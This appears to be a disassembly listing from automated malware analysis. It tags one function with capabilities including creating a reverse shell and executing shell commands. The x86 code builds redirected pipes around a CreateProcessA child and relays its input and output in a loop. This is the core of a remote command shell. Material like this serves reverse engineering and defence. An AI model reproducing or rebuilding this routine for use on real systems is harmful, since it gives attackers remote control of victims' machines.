Function at 0x403b0b
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x4687c0]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x403b63
push 0x4687c0
call fcn.0042b57e
pop ecx
cmp dword [0x4687c0], esi
jne 0x403b63
push ebx
mov ecx, 0x468720
call fcn.0040153a
push 0x44ba97
call fcn.0042b41e
mov dword [esp], 0x4687c0
call fcn.0042b53f
pop ecx
mov eax, dword [0x4687a0]
cmp eax, dword [edi + 4]
jle 0x403ba0
mov edi, 0x4687a0
push edi
call fcn.0042b57e
pop ecx
cmp dword [0x4687a0], esi
jne 0x403ba0
mov ecx, 0x4687c8
call fcn.004021c9
push 0x44ba8d
call fcn.0042b41e
pop ecx
push edi
call fcn.0042b53f
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021c9
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], ebx
cmp byte [0x464a5f], bl
jne 0x403d21
mov edx, 0x458598
mov ecx, 0x466d00
call fcn.00403f83
test al, al
je 0x403ea7
push 0x4585a0
call fcn.00431b9d
pop ecx
mov esi, 0x4687c8
push eax
mov ecx, esi
call fcn.00403f1f
push str._nF2
mov ecx, esi
call fcn.00402c89
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
push 0x4686c8
push 0x4687a4
push 0x4687bc
mov dword [0x4686c8], 0xc
mov dword [0x4686d0], 1
mov dword [0x4686cc], ebx
call esi
test eax, eax
je 0x403ec9
push ebx
push 0x4686c8
push 0x4687c4
push 0x4687a8
call esi
test eax, eax
je 0x403ec9
push 0x44
pop esi
push esi
push ebx
push 0x4686d8
call fcn.0042e260
add esp, 0xc
mov dword [0x4686d8], esi
xor eax, eax
mov dword [0x468704], 0x101
mov word [0x468708], ax
mov ecx, 0x4687c8
mov eax, dword [0x4687bc]
push 0x4687ac
mov dword [0x468710], eax
mov eax, dword [0x4687c4]
push 0x4686d8
mov dword [0x468714], eax
mov dword [0x468718], eax
call fcn.00402028
push eax
push ebx
push ebx
push 1
push ebx
mov esi, 0x466d00
push ebx
mov ecx, esi
call fcn.00402028
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, esi
push 0x458594
setne byte [0x464a5f]
call fcn.00403f1f
mov esi, 0x468720
mov byte [0x464a70], 1
mov ecx, esi
call fcn.00401673
push ecx
mov ecx, esi
call fcn.0040170e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004021e0
push 0x93
mov ecx, esi
call fcn.004018e7
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x464a5f], bl
je 0x403ea7
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x4687a8]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], ebx
jbe 0x403de1
push dword [ebp - 8]
call fcn.00431906
pop ecx
push ebx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push dword [ebp - 8]
push eax
push dword [0x4687a8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xc], ebx
jbe 0x403dd6
cmp dword [ebp - 4], ebx
jbe 0x403da2
push dword [ebp - 4]
lea ecx, [ebp - 0x28]
call fcn.00402028
mov esi, dword [ebp - 0x10]
push eax
push esi
call fcn.00431920
add esp, 0xc
test eax, eax
jne 0x403da5
push esi
lea ecx, [ebp - 0x40]
call fcn.00402178
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
sub esp, 0x18
mov ecx, esp
push eax
push dword [ebp - 4]
jmp 0x403db7
mov esi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x40]
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x40]
push eax
call fcn.00403f28
push 0x62
mov ecx, 0x468720
call fcn.004018e7
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.00402091
push dword [ebp - 0x10]
call fcn.004316d7
pop ecx
jmp 0x403dfe
sub esp, 0x18
mov ecx, esp
push 0x458594
call fcn.00402178
push 0x62
mov ecx, 0x468720
call fcn.004018e7
mov esi, eax
movzx eax, byte [0x464a70]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, 0x466d00
mov byte [0x464a70], al
call fcn.00402020
test eax, eax
je 0x403e73
push 0x4585b0
mov ecx, 0x466d00
call fcn.00402c89
push 0x466d00
lea ecx, [ebp - 0x28]
call fcn.00402077
push ebx
lea eax, [ebp - 4]
mov ecx, 0x466d00
push eax
call fcn.00402020
push eax
mov ecx, 0x466d00
call fcn.00402028
push eax
push dword [0x4687a4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x458594
mov ecx, 0x466d00
call fcn.00403f1f
jmp 0x403e76
mov dword [ebp - 4], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x464a70], bl
jne 0x403d21
push ebx
push dword [0x4687ac]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x4687b0]
call edi
push dword [0x4687ac]
call edi
mov ecx, 0x468720
call fcn.00401c4f
push dword [0x4687a8]
call edi
push dword [0x4687c4]
call edi
mov byte [0x464a5f], bl
mov bl, 1
lea ecx, [ebp - 0x28]
call fcn.00402091
lea ecx, [ebp + 8]
call fcn.00402091
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret